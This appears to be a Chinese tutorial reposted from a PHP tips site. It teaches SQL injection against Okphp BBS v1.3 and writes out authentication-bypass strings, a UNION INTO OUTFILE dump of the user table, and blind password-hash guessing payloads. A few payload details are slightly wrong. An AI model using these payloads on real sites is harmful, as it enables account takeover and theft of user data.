php 攻击方法之谈php+mysql注射语句构造_php技巧
一.前言:
版本信息:Okphp BBS v1.3 开源版
由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。
声明:文章所有提到的“漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。
二.“漏洞”分析:
1.admin/login.php注射导致绕过身份验证漏洞:
代码:
$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = "select id,group_id from $user_table where username='$username' and password='$password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$q = "select id,group_id from $user_table where username='$username' and password='$password'"中
$username 和 $password 没过滤, 很容易就绕过。
对于select * from $user_table where username='$username' and password='$password'这样的语句改造的方法有:
构造1(利用逻辑运算):$username=' OR 'a'='a $password=' OR 'a'='a
相当于sql语句:
select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'
构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin'#(或admin'/*)
即:
select * from $user_table where username='admin'#' and password='$password'"
相当于:
select * from $user_table where username='admin'
在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造2:
select id,group_id from $user_table where username='admin'#' and password='$password'"
相当于:
select id,group_id from $user_table where username='admin'
只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id,
我们就可以这样构造:$username=' OR id=1#
相当于:
select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注释掉)
我们接着往下看代码:
if ($row[0]) {
// If not admin or super moderator
if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {
$login = 0;
}
else {
$login = 1;
}
}
// Fail to login---------------
if (!$login) {
write_log("Moderator login","0","password wrong");
echo " ";
exit();
}
// Access ! -------------
else {
session_start();
最后简单通过一个$login来判断,我们只要ie提交直接提交$login=1 就可以绕过了 :)。
2.users/login.php注射导致绕过身份验证漏洞:
代码:
$md5password = md5($password);
$q = "select id,group_id,email from $user_table where username='$username' and password='$md5password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$username没过滤利用同1里注释掉and password='$md5password'";
3.admin\log\list.php存在任意删除日志记录漏洞。(ps:这个好象和php+mysql注射无关,随便提一下)
okphp的后台好象写得很马虎,所有文件都没有判断管理员是否已经登陆,以至于任意访问。我们看list.php的代码:
$arr = array("del_log","log_id","del_id");
get_r($arr);
//
if ($del_log) {
省略........
if ($log_id) {
foreach ($log_id as $val) {
$q = "delete from $log_table where id='$val'";
$res = sql_query($q,$conn);
if ($res) {
$i++;
}
}
}
elseif ($del_id) {
$q = "delete from $log_table where id='$del_id'";
$res = sql_query($q,$conn);
}
$tpl->setVariable("message","$i log deleted ok!");
$tpl->setVariable("action","index.php?action=list_log");
}
代码就只简单的用get_r($arr);判断的提交的参数,我们只要提交相应的$del_log,$log_id,$del_id。就回删除成功。
4.多个文件对变量没有过滤导致sql注射漏洞。
okphp的作者好象都不喜欢过滤:)。基本上所有的sql语句中的变量都是“赤裸裸”的。具体那些文件我就不列出来了,请自己看代码,我这里就用forums\list_threads.php为例子简单谈一下。
看list_threads.php的代码:
$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
变量$forum_id没有过滤,因为mysql不支持子查询,我们可以利用union构造语句进行联合查询(要求MySQL版本在4.00以上)实现跨库操作,我们构造如下:
构造1:利用 SELECT * FROM table INTO OUTFILE '/path/file.txt'(要求mysql有file权限,注意在win系统中要绝对路径,如:c://path//file.txt )。把所查询的内容输入到file.txt,然后我们可以通http://ip/path/file.txt来访问得到查询的结果。上面的我们可以这样构造$forum_id:
$forum_id=' union select * from user_table into outfile '/path/file.txt'
以下:
$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' union select * from user_table into outfile '/path/file.txt'";
上面的办法要求比较苛刻,必须得到web的路径(一般可以通过提交错误的变量使mysql报错而得到),而且php的magic_gpc=on选项使注入中不能出现单引号。如果magic_gpc=on我们也可以绕过:
构造2:就象asp跨库查询一样,直接利用union select构造语句,使返回结果不同来猜解,这种方法可以绕过单引号(magic_gpc=on)继续注射,不过在php里这种注射相对困难,根据具体的代码而定。具体的语句构造请参考pinkeyes 的文章《php注入实例》。下面我就结合okphp给个利用“返回结果不同”注射的例子:(见漏洞5)。
5.admin/login.php和users/login.php通过sql语句构造可以猜解得到指定用户密码hash:(其实这个和漏洞1和2是同一个,这里单独拿出来,主要是说明语句构造的方法。)
问题代码同漏洞1。
语句的构造(ps:因为语句本身就是对用户库操作就没必要用union了):
$username=admin' AND LENGTH(password)=6#
sql语句变成:
$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and password='$password'"
相当于:
$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'"
如果LENGTH(password)=6成立,则正常返回,如果不成立,mysql就会报错。
这样我们就可以猜解用户admin密码hash了。如$username=admin' ord(substring(password,1,1))=57#
可以猜用户的密码第一位的ascii码值............。

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